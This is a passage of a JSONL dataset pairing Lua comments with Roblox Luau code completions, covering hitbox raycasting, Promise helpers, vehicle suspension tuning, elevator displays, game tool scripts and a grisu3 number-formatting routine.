animTable[animName][idx].anim\nif (toolAnimInstance ~= anim) then\nif (toolAnimTrack ~= nil) then\ntoolAnimTrack:Stop()\ntoolAnimTrack:Destroy()\ntransitionTime = 0\nend"} +{"prompt": "--// EDIT THIS SECTION IF DESIRED", "completion": "\n\nlocal sens = 0.95 --sensitivity (changes Gs too)\n\nlocal min = 0.25 --min Gs for it to work\n\nlocal max = 10 --max Gs, will NOT exceed this number\n"} +{"prompt": "--[[\n Returns a promise for a function which may yield. wrapAsync calls the\n the function in a coroutine and resolves with the output of the function\n after any asynchronous actions, and rejects if the function throws an error.\n]]", "completion": "\nfunction AsyncUtils.wrapAsync(fn)\n\tassert(type(fn) == \"function\")\n\treturn Promise.new(\n\t\tfunction(resolve, reject)\n\t\t\tcoroutine.wrap(\n\t\t\t\tfunction()\n\t\t\t\t\tlocal ok, result = pcall(fn)\n\t\t\t\t\tif ok then\n\t\t\t\t\t\tresolve(result)\n\t\t\t\t\telse\n\t\t\t\t\t\treject(result)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t)()\n\t\tend\n\t)\nend\n"} +{"prompt": "--[[\n____________________________________________________________________________________________________________________________________________________________________________\n\n\tIf you have any questions, feel free to message me on DevForum. Credits not neccessary but is appreciated.\n\t\n\t[ How To Use - Quick Start Guide ]\n\t\n\t\t1. Insert Attachments to places where you want your \"hitbox\" to be. For swords, I like to have attachments 1 stud apart and strung along the blade.\n\t\t2. Name those Attachments \"DmgPoint\" (so the script knows). You can configure what name the script will look for in the variables below.\n\t\t3. Open up a script. As an example, maybe we have a sword welded to the character or as a tool. Require this, and initialize:\n\t\t\t\t\n\t\t\t\t* Example Code\n\t\t\t\t\t\n\t\t\t\t\tlocal Damage = 10\n\t\t\t\t\tlocal Hitbox = RaycastHitbox.new(Character)\n\t\t\t\t\t\n\t\t\t\t\tHitbox.OnHit:Connect(function(hit, humanoid)\n\t\t\t\t\t\tprint(hit.Name)\n\t\t\t\t\t\thumanoid:TakeDamage(Damage)\n\t\t\t\t\tend)\n\t\t\t\t\t\n\t\t\t\t\tHitbox:HitStart() --- Turns on the hitbox\n\t\t\t\t\twait(10) --- Waits 10 seconds\n\t\t\t\t\tHitbox:HitStop() --- Turns off the hitbox\n\t\t\n\t\t4. Profit. Refer to the API below for more information.\n\t\t\t\t\n\n____________________________________________________________________________________________________________________________________________________________________________\n\n\t[ RaycastHitBox API ]\n\n\t\t* local RaycastHitbox = require(RaycastHitboxV4) ---Duh\n\t\t\t\t--- To use, insert this at the top of your scripts or wherever.\n\n\n\t\t\t[ FUNCTIONS ]\n\n\t\t* RaycastHitbox.new(Instance model | BasePart | nil)\n\t\t\t\tDescription\n\t\t\t\t\t--- Preps the model and recursively finds attachments in it so it knows where to shoot rays out of later. If a hitbox exists for this\n\t\t\t\t\t--- object already, it simply returns the same hitbox.\n\t\t\t\tArguments\n\t\t\t\t\t--- Instance: (Like your character, a sword model, etc). Can be left nil in case you want an empty Hitbox or use SetPoints later\n\t\t\t\tReturns\n\t\t\t\t\tInstance HitboxObject\n\t\t\t\t\t\t\n\t\t* RaycastHitModule:GetHitbox(Instance model)\n\t\t\t\tDescription\n\t\t\t\t\t--- Gets the HitboxObject if it exists.\n\t\t\t\tReturns\n\t\t\t\t\t--- HitboxObject if found, else nil\n\t\t\t\t\t\n\t\t\n\t\t\n\t\t* HitboxObject:SetPoints(Instance BasePart | Bone, table vectorPoints, string group)\n\t\t\t\tDescription\n\t\t\t\t\t--- Merges existing Hitbox points with new Vector3 values relative to a part/bone position. This part can be a descendent of your original Hitbox model or\n\t\t\t\t\t\tcan be an entirely different instance that is not related to the hitbox (example: Have a weapon with attachments and you can then add in more vector3\n\t\t\t\t\t\tpoints without instancing new attachments, great for dynamic hitboxes)\n\t\t\t\tArguments\n\t\t\t\t\t--- Instance BasePart | Bone: Sets the part/bone that these vectorPoints will move in relation to the part's origin using Vector3ToWorldSpace\n\t\t\t\t\t--- table vectorPoints: Table of vector3 values.\n\t\t\t\t\t--- string group: optional group parameter\n\t\t\t\t\t\n\t\t* HitboxObject:RemovePoints(Instance BasePart | Bone, table vectorPoints)\n\t\t\t\tDescription\n\t\t\t\t\t--- Remove given Vector3 values provided the part was the same as the ones you set in SetPoints\n\t\t\t\tArguments\n\t\t\t\t\t--- Instance BasePart | Bone: Sets the part that these vectorPoints will be removed from in relation to the part's origin using Vector3ToWorldSpace\n\t\t\t\t\t--- table vectorPoints: Table of vector3 values.\n\t\t\n\t\t* HitboxObject:LinkAttachments(Instance attachment1, Instance attachment2)\n\t\t\t\tDescription\n\t\t\t\t\t--- Set two attachments to be in a link. The Raycast module will raycast between these two points.\n\t\t\t\tArguments\n\t\t\t\t\t--- Instance attachment1/attachment2: Attachment objects\n\t\t\t\t\t\n\t\t* HitboxObject:UnlinkAttachments(Instance attachment1)\n\t\t\t\tDescription\n\t\t\t\t\t--- Removes the link of an attachment. Only needs the primary attachment (argument 1 of LinkAttachments) to work. Will automatically sever the connection\n\t\t\t\t\t\tto the second attachment.\n\t\t\t\tArguments\n\t\t\t\t\t--- Instance attachment1: Attachment object\n\t\t\t\t\n\t\t* HitboxObject:HitStart(seconds)\n\t\t\t\tDescription\n\t\t\t\t\t--- Starts drawing the rays. Will only damage the target once. Call HitStop to reset the target pool so you can damage the same targets again.\n\t\t\t\t\t\tIf HitStart hits a target(s), OnHit event will be called.\n\t\t\t\tArguments\n\t\t\t\t\t--- number seconds: Optional numerical value, the hitbox will automatically turn off after this amount of time has elapsed\n\t\t\t\t\t\n\t\t* HitboxObject:HitStop()\n\t\t\t\tDescription\n\t\t\t\t\t--- Stops drawing the rays and resets the target pool. Will do nothing if no rays are being drawn from the initialized model.\n\n\t\t* HitboxObject.OnHit:Connect(returns: Instance part, returns: Instance humanoid, returns: RaycastResults, returns: String group)\n\t\t\t\tDescription\n\t\t\t\t\t--- If HitStart hits a fresh new target, OnHit returns information about the hit target\n\t\t\t\tArguments\n\t\t\t\t\t--- Instance part: Returns the part that the rays hit first\n\t\t\t\t\t--- Instance humanoid: Returns the Humanoid object \n\t\t\t\t\t--- RaycastResults RaycastResults: Returns information about the last raycast results\n\t\t\t\t\t--- String group: Returns information on the hitbox's group\n\t\t\t\t\t\n\t\t* HitboxObject.OnUpdate:Connect(returns: Vector3 position)\n\t\t\t\tDescription\n\t\t\t\t\t--- This fires every frame, for every point, returning a Vector3 value of its last position in space. Do not use expensive operations in this function.\n\t\t\n\n\t\t\t[ PROPERTIES ]\n\n\t\t* HitboxObject.RaycastParams: RaycastParams\n\t\t\t\tDescription\n\t\t\t\t\t--- Takes in a RaycastParams object\n\n\t\t* HitboxObject.Visualizer: boolean\n\t\t\t\tDescription\n\t\t\t\t\t--- Turns on or off the debug rays for this hitbox\n\n\t\t* HitboxObject.DebugLog: boolean\n\t\t\t\tDescription\n\t\t\t\t\t--- Turns on or off output writing for this hitbox\n\n\t\t* HitboxObject.DetectionMode: number [1 - 3]\n\t\t\t\tDescription\n\t\t\t\t\t--- Defaults to 1. Refer to DetectionMode subsection below for more information\n\n\t\t\t\n\t\t\t[ DETECTION MODES ]\n\n\t\t* RaycastHitbox.DetectionMode.Default\n\t\t\t\tDescription\n\t\t\t\t\t--- Checks if a humanoid exists when this hitbox touches a part. The hitbox will not return humanoids it has already hit for the duration\n\t\t\t\t\t--- the hitbox has been active.\n\n\t\t* RaycastHitbox.DetectionMode.PartMode\n\t\t\t\tDescription\n\t\t\t\t\t--- OnHit will return every hit part (in respect to the hitbox's RaycastParams), regardless if it's ascendant has a humanoid or not.\n\t\t\t\t\t--- OnHit will no longer return a humanoid so you will have to check it. The hitbox will not return parts it has already hit for the\n\t\t\t\t\t--- duration the hitbox has been active.\n\n\t\t* RaycastHitbox.DetectionMode.Bypass\n\t\t\t\tDescription\n\t\t\t\t\t--- PERFORMANCE MAY SUFFER IF THERE ARE A LOT OF PARTS. Use only if necessary.\n\t\t\t\t\t--- Similar to PartMode, the hitbox will return every hit part. Except, it will keep returning parts even if it has already hit them.\n\t\t\t\t\t--- Warning: If you have multiple raycast or attachment points, each raycast will also call OnHit. Allows you to create your own\n\t\t\t\t\t--- filter system.\n\t\t\n____________________________________________________________________________________________________________________________________________________________________________\n\n--]]", "completion": "\n"} +{"prompt": "--[[ http://coffeescript.org/ ]]", "completion": " --\nlocal coffee = script.Parent;\nlocal drinking = false\n\ncoffee.Equipped:connect(function()\n\tcoffee.Handle.OpenSound:Play()\nend)\n\ncoffee.Activated:connect(function()\n\tif drinking then\n\t\treturn\n\tend\n\n\tdrinking = true\n\tcoffee.GripForward = Vector3.new(0,-.759,-.651)\n\tcoffee.GripPos = Vector3.new(1.5,-.5,.3)\n\tcoffee.GripRight = Vector3.new(1,0,0)\n\tcoffee.GripUp = Vector3.new(0,.651,-.759)\n\n\tcoffee.Handle.DrinkSound:Play()\n\n\twait(2)\n\t\n\tcoffee.Parent.Humanoid.Health = coffee.Parent.Humanoid.Health + 100\n\trestPos()\n\n\tdrinking = false\nend)\n\ncoffee.Unequipped:connect(function()\n\trestPos()\n\tcoffee.Handle.DrinkSound:Stop()\n\tdrinking = false\nend)\n\nfunction restPos()\n\tcoffee.GripForward = Vector3.new(-.976,0,-0.217)\n\tcoffee.GripPos = Vector3.new(0.03,0,0)\n\tcoffee.GripRight = Vector3.new(.217,0,-.976)\n\tcoffee.GripUp = Vector3.new(0,1,0)\nend\n"} +{"prompt": "--[[\n\n\tLOWGames Studios\n\tDate: 27 October 2022\n\tby Elder\n\t\n]]", "completion": "--\n\nlocal u1 = nil;\ncoroutine.wrap(function()\n\tu1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nend)();\nreturn function(p1)\n\tlocal u2 = false;\n\tlocal function u3(p2)\n\t\tif u2 then\n\t\t\treturn;\n\t\tend;\n\t\tfor v1, v2 in pairs(p2) do\n\t\t\tif u2 then\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif type(v2) == \"userdata\" then\n\t\t\t\tu2 = true;\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif type(v1) == \"userdata\" then\n\t\t\t\tu2 = true;\n\t\t\t\treturn;\n\t\t\tend;\n\t\t\tif type(v2) == \"table\" then\n\t\t\t\tu3(v2);\n\t\t\tend;\n\t\tend;\n\tend;\n\tu3(p1);\n\treturn false;\nend;\n"} +{"prompt": "-- Script Code --", "completion": "\n\nwhile true do\n\twait(0.01)\n\tImage.Rotation = Image.Rotation + Speed\nend\n"} +{"prompt": "--[[\n\tShorthand for a finally handler that returns the given value.\n]]", "completion": "\nfunction Promise.prototype:finallyReturn(...)\n\tlocal length, values = pack(...)\n\treturn self:_finally(debug.traceback(nil, 2), function()\n\t\treturn unpack(values, 1, length)\n\tend)\nend\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .1\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .1\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .3\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bright red\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "--[=[\n\t@within TableUtil\n\t@function Keys\n\t@param tbl table\n\t@return table\n\n\tReturns an array with all the keys in the table.\n\n\t```lua\n\tlocal t = {A = 10, B = 20, C = 30}\n\tlocal keys = TableUtil.Keys(t)\n\tprint(keys) --> {\"A\", \"B\", \"C\"}\n\t```\n\n\t:::caution Ordering\n\tThe ordering of the keys is never guaranteed. If order is imperative, call\n\t`table.sort` on the resulting `keys` array.\n\t```lua\n\tlocal keys = TableUtil.Keys(t)\n\ttable.sort(keys)\n\t```\n]=]", "completion": "\nlocal function Keys(tbl: { [K]: V }): { K }\n\tlocal keys = table.create(#tbl)\n\tfor k in tbl do\n\t\ttable.insert(keys, k)\n\tend\n\treturn keys\nend\n"} +{"prompt": "-- Objects", "completion": "\nlocal Player = Players.LocalPlayer\nlocal PlayerGui = Player:WaitForChild(\"PlayerGui\")\n\nlocal Interface = PlayerGui:WaitForChild(\"UserInterface\")\nlocal Options = Interface.MainMeta.Content.Options\n"} +{"prompt": "--// Functions", "completion": "\nfunction MakeFakeArms()\n\tArms = Instance.new(\"Model\")\n\tArms.Name = \"Arms\"\n\tArms.Parent = L_5_\n\n\tlocal L_172_ = Instance.new(\"Humanoid\")\n\tL_172_.MaxHealth = 0\n\tL_172_.Health = 0\n\tL_172_.Name = \"\"\n\tL_172_.Parent = Arms\n\t\t\n\tif L_3_:FindFirstChild(\"Shirt\") then\n\t\tlocal L_177_ = L_3_:FindFirstChild(\"Shirt\"):clone()\n\t\tL_177_.Parent = Arms\n\tend\n\t\n\tlocal L_173_ = L_3_:FindFirstChild(\"Right Arm\"):clone()\n\tfor L_178_forvar1, L_179_forvar2 in pairs(L_173_:GetChildren()) do\n\t\tif L_179_forvar2:IsA('Motor6D') then\n\t\t\tL_179_forvar2:Destroy()\n\t\tend\n\tend\n\tL_173_.Name = \"Right Arm\"\n\tL_173_.FormFactor = \"Custom\"\n\tL_173_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_173_.Transparency = 0.0\n\t\n\tlocal L_174_ = Instance.new(\"Motor6D\")\n\tL_174_.Part0 = L_173_\n\tL_174_.Part1 = L_3_:FindFirstChild(\"Right Arm\")\n\tL_174_.C0 = CFrame.new()\n\tL_174_.C1 = CFrame.new()\n\tL_174_.Parent = L_173_\t\n\tL_173_.Parent = Arms\n\t\t\n\tlocal L_175_ = L_3_:FindFirstChild(\"Left Arm\"):clone()\n\tL_175_.Name = \"Left Arm\"\n\tL_175_.FormFactor = \"Custom\"\n\tL_175_.Size = Vector3.new(0.8, 2.5, 0.8)\n\tL_175_.Transparency = 0.0\t\n\t\n\tlocal L_176_ = Instance.new(\"Motor6D\")\n\tL_176_.Part0 = L_175_\n\tL_176_.Part1 = L_3_:FindFirstChild(\"Left Arm\")\n\tL_176_.C0 = CFrame.new()\n\tL_176_.C1 = CFrame.new()\n\tL_176_.Parent = L_175_\t\n\tL_175_.Parent = Arms\nend\n\nfunction RemoveArmModel()\n\tif Arms then\n\t\tArms:Destroy()\n\t\tArms = nil\n\tend\nend\n\nlocal L_135_\n\nfunction CreateShell()\n\tL_135_ = time()\n\tlocal L_180_ = L_1_.Shell:clone()\n\tif L_180_:FindFirstChild('Shell') then\n\t\tL_180_.Shell:Destroy()\n\tend\n\tL_180_.CFrame = L_1_.Chamber.CFrame\n\tL_180_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)\n\tL_180_.RotVelocity = Vector3.new(-10,40,30)\n\tL_180_.Parent = L_101_\n\tL_180_.CanCollide = false\n\tgame:GetService(\"Debris\"):addItem(L_180_, 1)\n\tdelay(0.5, function()\n\t\tif L_19_:FindFirstChild('ShellCasing') then\n\t\t\tlocal L_181_ = L_19_.ShellCasing:clone()\n\t\t\tL_181_.Parent = L_2_.PlayerGui\n\t\t\tL_181_:Play()\n\t\t\tgame:GetService('Debris'):AddItem(L_181_, L_181_.TimeLength)\n\t\tend\n\tend)\nend\n"} +{"prompt": "--// Tracer Vars", "completion": "\n\tTracerTransparency = 0;\t\n\tTracerLightEmission = 1;\n\tTracerTextureLength = 0.01;\n\tTracerLifetime = 0.05;\n\tTracerFaceCamera = true;\n\tTracerColor = BrickColor.new('Really red');\n"} +{"prompt": "-- 3D TextGen", "completion": "\n\nThis = script.Parent\nBtn = This.Parent\nLift = Btn.Parent.Parent.Parent\nConfig = require(Lift.Settings)\nCharacters = require(script.Characters)\n\nCustomLabel = Config[\"CUSTOMFLOORLABEL\"][tonumber(Btn.Name:sub(4))]\n\nfunction ChangeFloor(SF)\n\tif string.len(SF) == 1 then\n\t\tSetLabel(1,SF,-0.03)\t\n\t\tSetLabel(2,\"NIL\",0)\n\telse\n\t\tSetLabel(1,SF:sub(1,1),0)\t\n\t\tSetLabel(2,SF:sub(2,2),0)\n\tend\nend\n\n\nfunction SetLabel(ID,CHAR,OFFSET)\n\tif This:FindFirstChild(\"L\"..ID) and Characters[CHAR] ~= nil then\n\t\tThis[\"L\"..ID].Mesh.Offset = Vector3.new(OFFSET, -0.004, 0)\n\t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tThis[\"L\"..ID].Mesh.MeshId = \"rbxassetid://\"..l\n\t\tend\n\tend\nend\n\n\nif CustomLabel then\n\tChangeFloor(CustomLabel)\nelse\n\tChangeFloor(Btn.Name:sub(4))\nend\n\nscript:Destroy()\n"} +{"prompt": "--- Queues the hitbox to be destroyed in the next frame", "completion": "\nfunction Hitbox:Destroy()\n\tself.HitboxPendingRemoval = true\n\n\tif self.HitboxObject then\n\t\tCollectionService:RemoveTag(self.HitboxObject, self.Tag)\n\tend\n\n\tself:HitStop()\n\tself.OnHit:Destroy()\n\tself.OnUpdate:Destroy()\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(ActiveColour) or BrickColor.new(InactiveColour))\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Material = (l:sub(r,r) == \"1\" and \"Neon\" or \"SmoothPlastic\")\n\t\t\tend\n\t\tend\n\tend\nend\n\n"} +{"prompt": "-- \tlocal function getPropertyWin32(_target: unknown, key: any)\n-- \t\tif typeof(key) == \"string\" then\n-- \t\t\treturn lookup[tostring((function()\n-- \t\t\t\tif Array.indexOf(Object.keys(proto), tostring(key)) ~= -1 then\n-- \t\t\t\t\treturn key\n-- \t\t\t\telse\n-- \t\t\t\t\treturn key:lower()\n-- \t\t\t\tend\n-- \t\t\tend)())]\n-- \t\telse\n-- \t\t\treturn real[tostring(key)]\n-- \t\tend\n-- \tend", "completion": "\n"} +{"prompt": "--[[\n\tPicks certain keys out of a table and place them into a new table.\n\n\tParameters:\n\t- t (table): table to pick keys from\n\t- keys (string[]): list of keys to pick from the table\n\n\tReturns:\n\t- picked (table): table containing all picked values\n\t- rest (table): table containing all other values from initial table\n]]", "completion": "\nreturn function(t, keys)\n\tlocal picked, rest = {}, {}\n\tfor _, key in ipairs(keys) do\n\t\tpicked[key] = t[key]\n\tend\n\n\tfor key, value in pairs(t) do\n\t\tif picked[key] ~= nil then\n\t\t\tcontinue\n\t\tend\n\n\t\trest[key] = value\n\tend\n\n\treturn picked, rest\nend\n"} +{"prompt": "--!strict", "completion": "\nlocal uint64_t = require(script.Parent.uint64_t)\nlocal diy_fp = require(script.Parent.diy_fp)\nlocal cached_power = require(script.Parent.cached_power)\nlocal ieee =require(script.Parent.ieee)\nlocal grisu3 = { }\n\nlocal function round_weed(\n\tbuffer: { number }, length: number,\n\tdistance_too_high_w0: number, distance_too_high_w1: number,\n\tunsafe_interval0: number, unsafe_interval1: number,\n\trest0: number, rest1: number,\n\tten_kappa0: number, ten_kappa1: number,\n\tunit0: number, unit1: number\n): boolean\n\tlocal small_distance0, small_distance1 =\n\t\tuint64_t.sub(\n\t\t\tdistance_too_high_w0, distance_too_high_w1, unit0, unit1\n\t\t)\n\tlocal big_distance0, big_distance1 =\n\t\tuint64_t.add(\n\t\t\tdistance_too_high_w0, distance_too_high_w1, unit0, unit1\n\t\t)\n\twhile uint64_t.compare(rest0, rest1, small_distance0, small_distance1) < 0\n\t\tand uint64_t.compare(\n\t\t\tten_kappa0, ten_kappa1, uint64_t.sub(\n\t\t\t\tunsafe_interval0, unsafe_interval1,\n\t\t\t\trest0, rest1\n\t\t\t)\n\t\t) <= 0\n\tdo\n\t\tlocal sd0, sd1 =\n\t\t\tuint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)\n\t\tsd0, sd1 = uint64_t.sub(sd0, sd1, small_distance0, small_distance1)\n\t\tif uint64_t.compare(\n\t\t\tsmall_distance0, small_distance1,\n\t\t\tuint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)) <= 0\n\t\t\t\tand uint64_t.compare(sd0, sd1,\n\t\t\t\t\tuint64_t.sub(small_distance0, small_distance1,\n\t\t\t\t\t\trest0, rest1)) > 0 then\n\t\t\tbreak\n\t\tend\n\t\tbuffer[length] -= 1\n\t\trest0, rest1 =\n\t\t\tuint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)\n\tend\n\n\tif uint64_t.compare(rest0, rest1, big_distance0, big_distance1) < 0\n\t\tand uint64_t.compare(\n\t\t\tten_kappa0, ten_kappa1, uint64_t.sub(\n\t\t\t\tunsafe_interval0, unsafe_interval1,\n\t\t\t\trest0, rest1\n\t\t\t)\n\t\t) <= 0\n\tthen\n\t\tlocal sd0, sd1 =\n\t\t\tuint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)\n\t\tsd0, sd1 = uint64_t.sub(sd0, sd1, big_distance0, big_distance1)\n\t\tlocal t0, t1 = uint64_t.sub(big_distance0, big_distance1,\n\t\t\trest0, rest1)\n\t\tif uint64_t.compare(\n\t\t\tbig_distance0, big_distance1,\n\t\t\tuint64_t.add(rest0, rest1, ten_kappa0, ten_kappa1)) > 0\n\t\t\t\tor uint64_t.compare(sd0, sd1,\n\t\t\t\t\tuint64_t.sub(big_distance0, big_distance1,\n\t\t\t\t\t\trest0, rest1)) < 0\n\t\tthen\n\t\t\treturn false\n\t\tend\n\tend\n\n\treturn uint64_t.compare(rest0, rest1, uint64_t.sal(unit0, unit1, 1)) >= 0\n\t\tand uint64_t.compare(\n\t\t\trest0, rest1,\n\t\t\tuint64_t.sub(\n\t\t\t\tunsafe_interval0, unsafe_interval1,\n\t\t\t\tuint64_t.sal(unit0, unit1, 2)\n\t\t\t)\n\t\t) <= 0\nend\n\nlocal small_powers_of_ten = { [0] = 0,\n\t1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000,\n\t1000000000 }\nlocal function biggest_power_10(val: number, val_bits: number): (number, number)\n\tlocal exponent_plus_one_guess =\n\t\tbit32.rshift((val_bits + 1) * 1233, 12) + 1\n\tif val < small_powers_of_ten[exponent_plus_one_guess] then\n\t\texponent_plus_one_guess -= 1\n\tend\n\treturn\n\t\tsmall_powers_of_ten[exponent_plus_one_guess],\n\t\texponent_plus_one_guess\nend\n\nlocal function digit_gen(\n\tlow_sigt0: number, low_sigt1: number, low_expt: number,\n\tw_sigt0: number, w_sigt1: number, w_expt: number,\n\thigh_sigt0: number, high_sigt1: number, high_expt: number\n): (boolean, { number }, number, number)\n\tlocal unit0, unit1 = 1, 0\n\tlocal too_low_sigt0, too_low_sigt1 = uint64_t.sub(low_sigt0, low_sigt1, unit0)\n\tlocal too_high_sigt0, too_high_sigt1 = uint64_t.add(high_sigt0, high_sigt1, unit0)\n\n\tlocal unsafe_interval0, unsafe_interval1 =\n\t\tuint64_t.sub(\n\t\t\ttoo_high_sigt0, too_high_sigt1,\n\t\t\ttoo_low_sigt0, too_low_sigt1\n\t\t)\n\n\tlocal one0, one1 = uint64_t.sal(1, 0, -w_expt)\n\tlocal one_decr0, one_decr1 = uint64_t.sub(one0, one1, 1)\n\tlocal frac0, frac1 =\n\t\tbit32.band(too_high_sigt0, one_decr0),\n\t\tbit32.band(too_high_sigt1, one_decr1)\n\tlocal intg = uint64_t.sal(too_high_sigt0, too_high_sigt1, w_expt)\n\tlocal divisor, divisor_exponent_plus_one =\n\t\tbiggest_power_10(intg, 64 + w_expt)\n\n\tlocal kappa = divisor_exponent_plus_one\n\tlocal length = 0\n\n\tlocal buffer = table.create(17)\n\twhile kappa > 0 do\n\t\tlength += 1\n\t\tbuffer[length] = math.floor(intg / divisor)\n\t\tintg %= divisor\n\t\tkappa -= 1\n\n\t\tlocal rest0, rest1 =\n\t\t\tuint64_t.add(frac0, frac1, uint64_t.sal(intg, 0, -w_expt))\n\n\t\tif uint64_t.compare(rest0, rest1,\n\t\t\tunsafe_interval0, unsafe_interval1) < 0 then\n\t\t\tlocal dth0, dth1 = uint64_t.sub(\n\t\t\t\ttoo_high_sigt0, too_high_sigt1, w_sigt0, w_sigt1)\n\t\t\tlocal ten_kappa0, ten_kappa1 = uint64_t.sal(divisor, 0, -w_expt)\n\t\t\treturn round_weed(\n\t\t\t\tbuffer, length, dth0, dth1,\n\t\t\t\tunsafe_interval0, unsafe_interval1,\n\t\t\t\trest0, rest1,\n\t\t\t\tten_kappa0, ten_kappa1,\n\t\t\t\tunit0, unit1\n\t\t\t), buffer, length, kappa\n\t\tend\n\t\tdivisor /= 10\n\tend\n\n\twhile true do\n\t\tfrac0, frac1 = uint64_t.mul(frac0, frac1, 10, 0)\n\t\tunit0, unit1 = uint64_t.mul(unit0, unit1, 10, 0)\n\t\tunsafe_interval0, unsafe_interval1 =\n\t\t\tuint64_t.mul(unsafe_interval0, unsafe_interval1, 10, 0)\n\n\t\tlength += 1\n\t\tbuffer[length] = uint64_t.sal(frac0, frac1, w_expt)\n\t\tfrac0, frac1 =\n\t\t\tbit32.band(frac0, one_decr0), bit32.band(frac1, one_decr1)\n\t\tkappa -= 1\n\t\tif uint64_t.compare(\n\t\t\tfrac0, frac1, unsafe_interval0,\n\t\t\tunsafe_interval1) < 0 then\n\t\t\tlocal dth0, dth1 = uint64_t.mul(\n\t\t\t\tunit0, unit1,\n\t\t\t\tuint64_t.sub(\n\t\t\t\t\ttoo_high_sigt0, too_high_sigt1,\n\t\t\t\t\tw_sigt0, w_sigt1\n\t\t\t\t)\n\t\t\t)\n\t\t\treturn round_weed(\n\t\t\t\tbuffer, length,\n\t\t\t\tdth0, dth1,\n\t\t\t\tunsafe_interval0, unsafe_interval1,\n\t\t\t\tfrac0, frac1,\n\t\t\t\tone0, one1,\n\t\t\t\tunit0, unit1\n\t\t\t), buffer, length, kappa\n\t\tend\n\tend\nend\n\nreturn function(val): ({ number }?, number?, number?)\n\tlocal w_sigt0: number, w_sigt1: number, w_expt: number = diy_fp.create_normalized(val)\n\tlocal\n\tboundary_minus_sigt0, boundary_minus_sigt1, boundary_minus_expt,\n\tboundary_plus_sigt0, boundary_plus_sigt1, boundary_plus_expt =\n\t\tieee.normalized_boundaries(diy_fp.create(val))\n\n\t-- per double-conversion/fast-dtoa.cc:\n\t-- cached power of ten: 10^-k\n\tlocal ten_mk_sigt0, ten_mk_sigt1, ten_mk_expt, 